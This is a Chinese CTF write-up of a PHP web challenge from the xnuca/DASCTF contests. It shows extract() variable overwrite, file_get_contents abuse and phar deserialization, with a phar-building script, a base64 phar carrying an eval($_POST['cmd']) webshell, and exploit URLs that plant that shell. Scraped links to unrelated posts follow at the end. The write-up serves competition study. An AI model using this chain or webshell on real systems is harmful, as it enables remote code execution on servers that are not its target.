老赛棍寒假复习计划——反序列化篇
本篇主要讲解过去一年来各大比赛中出现的比较典型的几个反序列化题目
尝试一些反序列化漏洞,去了解成因,从实践中去明白什么是反序列化漏洞。
实操知识点指路(PC端复制链接开始操作):
https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182016010714511600001&pk_campaign=csdn-wemedia
xnuca个人赛题目解析
复现环境:
链接:https://pan.baidu.com/s/1U_uDvgtzfFV165158xGE9A
提取码:7ryd
复制这段内容后打开百度网盘手机App,操作更方便哦--来自百度网盘超级会员V3的分享
寒假难得有时间把这一年的比赛题目都好好整理一下,首先来的是xnuca个人赛的一道题目,比较新颖,属于中等难度的web phar写入和反序列化题目,貌似在其之后的DASCTF也考察了类似的知识点,因为时间实在久远,加上xnuca当时的一小部分源码实在是找不到了,就借用了DASCTF的部分代码来进行讲解,解题方式是一样的。
这道题目首先需要通过变量覆盖来利用file_get_contents读取template.php,然后通过template.php写入phar进行反序列化。
考点一:变量覆盖
首先是一个index.php
<?php
error_reporting(E_ALL);
$sandbox = './' . md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandbox)) {mkdir($sandbox);
}include_once('template.php');$template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');if(isset($_GET['var']) && is_array($_GET['var'])) {extract($_GET['var'], EXTR_OVERWRITE);
} else {highlight_file(__file__);die();
}if(isset($_GET['tp'])) {$tp = $_GET['tp'];if (array_key_exists($tp, $template) === FALSE) {echo "No! You only have 3 template to reader";die();}$content = file_get_contents($template[$tp]);$temp = new Temp($content);
} else {echo "Please choice one template to reader";
}
?>
extract变量覆盖。原理是:extract() 函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。
正常的用法通常用于把数组的值转化为变量,就好像把数组一个个解压出来成为变量一样,是不是很像extract的意思:
<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
这样就会把数组 $my_array里面的键值和对应键名组合成为一个变量,等同于再次赋值
以前ctf考察的点基本都是如下形式的变量覆盖:
extract($_GET);
关于这个地方变量覆盖的原理,就要提到一个很关键的基础知识点,$GET,$POST,$REQUEST这三个全局变量的类型是数组(不信的话自己var_dump一下),实际上我们通过get输入的变量名会成为$GET数组里的键名,输入的变量值会成为$GET里的键值,因此extract函数才会由我们的get输入接收到了$GET这个数组,从而产生了变量覆盖。
本题目的写法为:
extract($_GET['var'], EXTR_OVERWRITE);
EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。
这个地方乍一看好像是说 $_GET['var']这个变量,而不是数组,但是之前也有考察过如果通过get或者post方式输入一个数组的ctf题(没错,就是绕过md5比较的php黑魔法),只要我们在get或者post输入的变量的后面加上[],就代表我们输入的是一个数组。
例如下面就代表我们输入了一个数组
http://IP?var[]=a
把 $_GET变量全dump出来为:
array(1) { ["var"]=> array(1) { [0]=> string(1) "a" } }
说白了,就是把 $_GET这个数组变量里键名为var的这个元组的键值设置为了一个数组,这个数组是:
array(1) { [0]=> string(1) "a" }
所以实际上我们还是可以通过题目中的
extract($_GET['var'], EXTR_OVERWRITE);
来进行变量覆盖。例如:
http://IP/?var[template][tp1]=aaa
这样就能将已经赋值过的template变量重新赋值为一个只含有一个元组且键名为tp1的数组
之前
array(3) {["tp1"]=>string(7) "tp1.tpl"["tp2"]=>string(7) "tp2.tpl"["tp3"]=>string(7) "tp3.tpl"
}之后
array(1) { ["tp1"]=> string(3) "aaa" }
这里很多人有个误区:为啥不是单独覆盖template数组里的一个tp1,而是覆盖了全部呢?
因为?var[template][tp1]=aaa等同于输入了$template=array('tp1'=>'aaa');而不是$template = array('tp1'=>'aaa','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');所以是全部覆盖
我们看到第一个文件index.php里面还有一个file_get_contents,想到可以文件读取。
if(isset($_GET['tp'])) {$tp = $_GET['tp'];if (array_key_exists($tp, $template) === FALSE) {echo "No! You only have 3 template to reader";die();}$content = file_get_contents($template[$tp]);$temp = new Temp($content);
} else {echo "Please choice one template to reader";
}
思路:
tp]为我们要读取的文件名
tp可控
array_key_exists判断 在template数组中是否存在
存在则读取 tp]指向的文件
所以我们
?var[template][a]=文件名&tp=a
这样template数组就剩一个a,然后他的值为我们要读取的文件名,然后tp等于a,读取 tp]所指向的文件,也就是 $template['a'],即我们变量覆盖进去的文件名。
访问得到
u can see ur html file in f187b1e39a106780507c0f5c399da8c1/594f803b380a41396ed63dca39503542.html
访问一下路径看到template.php源码,这里file_get_content读取到的并不是直接显示,而是被template.php写入到了某个地方,但是这个算是第一步的提示,直接访问就看到了template.php的源码,读完以后也会更理解整个过程。
<?php error_reporting(0); class Temp { public $suffix; public $content; public $pattern; public function __construct($content) { $this->content = $content; $this->pattern = "/{{([a-z]+)}}/"; $this->suffix = ".html"; } public function __destruct() { $this->render(); } public function render() { while (True) { if(preg_match($this->pattern, $this->content, $matches)!==1) break; global ${$matches[1]}; if(isset(${$matches[1]})) { $this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content); } else { break; } } if(strlen($this->suffix)>5) { echo "error suffix"; die(); } $filename = '/var/www/html/upload/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix; file_put_contents($filename, $this->content); echo "u can see ur html file in " . $filename; } } ?>
最关键的方法是我们的render(因为另外两个一个是构造方法用来给三个属性赋值,一个是析构方法用来触发render)
他做了两件事情
模板变量替换
while (True) { if(preg_match($this->pattern, $this->content, $matches)!==1) break; global ${$matches[1]}; if(isset(${$matches[1]})) { $this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content); } else { break; } }
这一步的工作用一句话概括为:"用$content里匹配到的字符串的同名变量,来替换$content本身的内容"
可能乍一看看不懂,没事我们来分析:
也就是说,当你输入的内容里面含有{{([a-z]+)}}的时候,他会提取{{}}里面的字符串,然后去判断他是否为一个已经声明的全局变量,如果是的话则导入到方法中,并且用这个全局变量的值去替换 $content的值。
例如搭建一个本地环境
当你输入http://ip?content={{a}},则返回如下结果
匹配输入,含有{{([a-z]+)}},其中 $matches为
Array ( [0] => {{a}} [1] => a )
2.global用于将函数外部的一个全局变量导入函数内,题目中这句代码在render方法内,所以为了使用方法外的全局变量,得加一个global
global ${$matches[1]};
#探测外部是否有需要名字为 $matches[1]的变量,
然后preg_replace将content里的 $matches[1]给替换为那个变量的值
实际上这是个啥呢,就是我们很常见的模板变量替换,比如说你的前端有一个{{a}},然后你后端检测前端代码的时候,就拿后端的a变量的值替换这个{{a}}里面a所在的位置。类似flask那种模板变量替换。
说白了就是,这段代码或者这道题应该是某个真实的cms上的代码阉割的,然后出成题目,并保留了当时的部分冗余代码。所以才留下了这个模板替换。(就是没啥用的意思,逃:)
写入文件
render做的第二件事情就是写入文件
首先给出了一个限制:
if(strlen($this->suffix)>5) { echo "error suffix"; die(); }
这段代码保证了你写入的后缀不能超过5个字符,虽然没什么用。
真正写文件的的代码在这里:
$filename = '/var/www/html/upload/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix; file_put_contents($filename, $this->content); echo "u can see ur html file in " . $filename;
这里思路
自 PHP 5.2.0 起 data:(» RFC 2397)数据流封装器开始有效。data://text/plain;base64,加上文件内容的base64编码
变量覆盖,然后file_get_content读取我们输入的data流,然后被写入
file_get_contents触发phar
phar文件:
<?php
class Temp {public $suffix;public $content;public $pattern;}
@unlink("phar.phar");#固定老四句,除非你要修改phar文件头部,或者想压缩一个webshell,压缩的攻击通常用于lfi+phar$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar->addFromString('test.txt','test'); //添加要压缩的文件#实例化和修改属性的主要代码$object = new Temp();
$object->suffix=".php";
$object->content="<?=eval(\$_POST['cmd']); ";
$object->pattern="{{([a-z]+)}}";#固定老两句$phar->setMetadata($object); //将自定义meta-data存入manifest
$phar->stopBuffering();
读取文件内容的base64可以用如下方式:
先php运行exp.php,生成phar.phar文件。php -a 进入php交互式界面。php > echo file_get_contents("php://filter/convert.base64-encode/resource=phar.phar");R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqtAAAAAQAAABEAAAABAAAAAAB3AAAATzo0OiJUZW1wIjozOntzOjY6InN1ZmZpeCI7czo0OiIucGhwIjtzOjc6ImNvbnRlbnQiO3M6MjQ6Ijw/PWV2YWwoJF9QT1NUWydjbWQnXSk7ICI7czo3OiJwYXR0ZXJuIjtzOjEyOiJ7eyhbYS16XSspfX0iO30IAAAAdGVzdC50eHQEAAAAyokbYAQAAAAMfn/YpAEAAAAAAAB0ZXN0tLvtt2MIggiafMrFCk5+NDuEWOECAAAAR0JNQg==然后url编码,因为=和+号在url里面不能直接用,会被当作有意义的字符
第一步
http://IP/?var[template][tp1]=data://text/plain;base64,R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8%2BDQqtAAAAAQAAABEAAAABAAAAAAB3AAAATzo0OiJUZW1wIjozOntzOjY6InN1ZmZpeCI7czo0OiIucGhwIjtzOjc6ImNvbnRlbnQiO3M6MjQ6Ijw%2FPWV2YWwoJF9QT1NUWydjbWQnXSk7ICI7czo3OiJwYXR0ZXJuIjtzOjEyOiJ7eyhbYS16XSspfX0iO30IAAAAdGVzdC50eHQEAAAAyokbYAQAAAAMfn%2FYpAEAAAAAAAB0ZXN0tLvtt2MIggiafMrFCk5%2BNDuEWOECAAAAR0JNQg%3D%3D&tp=tp1
回显
u can see ur html file in upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/e6c3231faf7291112e65294fcf13d7fc.html
第二步 通过file_get_contents触发phar
http://IP/?var[template][tp1]=phar://upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/e6c3231faf7291112e65294fcf13d7fc.html&tp=tp1
回显
u can see ur html file in upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/d41d8cd98f00b204e9800998ecf8427e.htmlu can see ur html file in upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/a3670f7aa58980d1970ac97e35a13ff1.php
第三步
http://IP/upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/a3670f7aa58980d1970ac97e35a13ff1.php
就是写入的webshell
这题还可以用远程文件读取,把phar文件放在自己公网服务器上,然后让题目读取,就不用data://协议写入,因为file_get_contents没有限制不能读取外部文件
http://IP/?var[template][tp1]=http://IP/phar.phar&tp=tp1
但是xnuca他个人赛的时候没有网络,所以这个方法行不通,但是DASCTF可以用这个方法。
总的来说,难度适中,主要一个是知道他这里可以任意文件读取和读取以后直接写入这个是关键,phar倒是没有什么难度,如何在没有外网的情况下通过data://流写入是关键。
老赛棍寒假复习计划——反序列化篇相关推荐
- 计算机二级c语言复习计划,寒假复习计划——C语言篇
> 寒假复习计划--C语言篇 Day 1--算法(Algorithm) 1.什么是算法? 算法(Algorithm):是对特定问题求解步骤的一种描述,它是指令的有限序列,其中每一条指令表示一个或 ...
- 关于计划复习计算机作文500字,期末考试复习计划作文500字(精选5篇)
期末考试复习计划作文500字(精选5篇) 光影似箭,岁月如梭.期末考试离我们越来越近了.想从期末考试中获得鲜花和掌声吗?想,那么,就请把握现在,决战期末.下面是小编为您整理了"期末考试复习计 ...
- 常识、言语篇——2021国考考前三个月复习计划
最近几天给大家分享了2021国考数资.判断应该如何备考,今天为大家带来了言语和常识的倒计时3个月复习备考计划,复习重点.学习方法一一例举,一起来看看吧~ 言语 倒计时3个月 阶段学习重点 1 把握考情 ...
- 计算机考研时间计划表,【考研复习计划】_这里有最详细的考研复习计划时间表...
英语 /词汇 /专业 原标题:这里有最详细的考研复习计划时间表! 考研准备阶段:(寒假-3月份) 一.选择院校.专业 1.确定想要学习方向,初步确立目标院校和专业 2.了解专硕和学硕的区别~ 2017 ...
- 一年级前一学期计算机应用题,计算机教学工作计划7篇
计算机教学工作计划7篇 光阴的迅速,一眨眼就过去了,我们的工作又将迎来新的进步,是时候开始写工作计划了.那么你真正懂得怎么写好工作计划吗?下面是小编帮大家整理的计算机教学工作计划7篇,供大家参考借鉴, ...
- 【我的复习计划】一定要“准备好了”才能出发吗?
一年一度的春招又要到了,22 届的我,如果不考研,那21年的春招就绕不过去了 看了别人的面经才意识到自己的只是储备实在是太差了 然鹅 学校不会因为我请了病假,就全校停课等我痊愈,(当然新冠除外) 每堂 ...
- 考研英语复习计划 备战2015年考研英语全程计划
备战2015年考研英语全程计划 既然决定在2015年考研了,复习时间还是非常充足的,但是要把充足的时间最后转化成一个满意的成绩,在基础复习之前做好计划非常重要,那么执行就是关键,当然适当阶段做适 ...
- 2010年考研复习计划
2010年考研复习计划 复习计划: 一.寒假:确定学校和专业,收集信息和资料 二.大三下学期:背英语单词(三遍以上),看数学课本,做课后题,归纳知识点:开头总是困难的,不要急,不要有压力,慢慢进入状态 ...
- 国外计算机考研,牛人计算机考研复习计划(经典)(国外英文资料).doc
牛人计算机考研复习计划(经典)(国外英文资料) 迸秉柴吮卷笋鲸苗阅鸯猜吗瑚蓑卯碌吱置巩靶炒堵湍陀监南姻坚沾汰俄硕教雍传拈究舔珐臭钒澎牲睛魏隶馏交涅盎猛来跺狄诽酿错政后悄搭酿颂较浊蕉稠夸屠甚杨壹巫折章败 ...
最新文章
- 沈向洋,被微软“耽搁”的独角兽催化大师
- 社区计算机义务维修策划书,计协义务维修策划书(模板).doc
- BZOJ 4326 NOIP2015 运输计划(树上差分+LCA+二分答案)
- EJB继承与Java继承不同
- 怎么将翼型导入catia_CATIA导入翼型出现了问题,翼型是在网上找的。说是样条线运算有问题 - 机械 - 小木虫 - 学术 科研 互动社区...
- Elasticsearch(二) ik分词器的安装 以及 自定义分词
- 浏览器兼容性问题——IE不支持却很实用的CSS属性Outline和Child
- 何川L3管理课_模块5_给评价
- CTF攻防世界刷题51-
- 优酷下载的会员独享KUX视频格式怎么转换成MP4
- 为什么在使用超级终端配置交换机时显示乱码或无显示?
- 路径规划-人工势场法(Artifical Potential Field)
- swiper半圆形旋转
- Jenkins之工作流程原理
- GitHub + PicUloader + jsDelivr : 通过 web 上传的免费图床和图像访问 CDN 加速
- Designing Principle
- 减少mysql存储列的方法
- 上传GPS数据到ONENET云平台
- 命名实体识别的一点经验
- [加密]展讯secureboot方案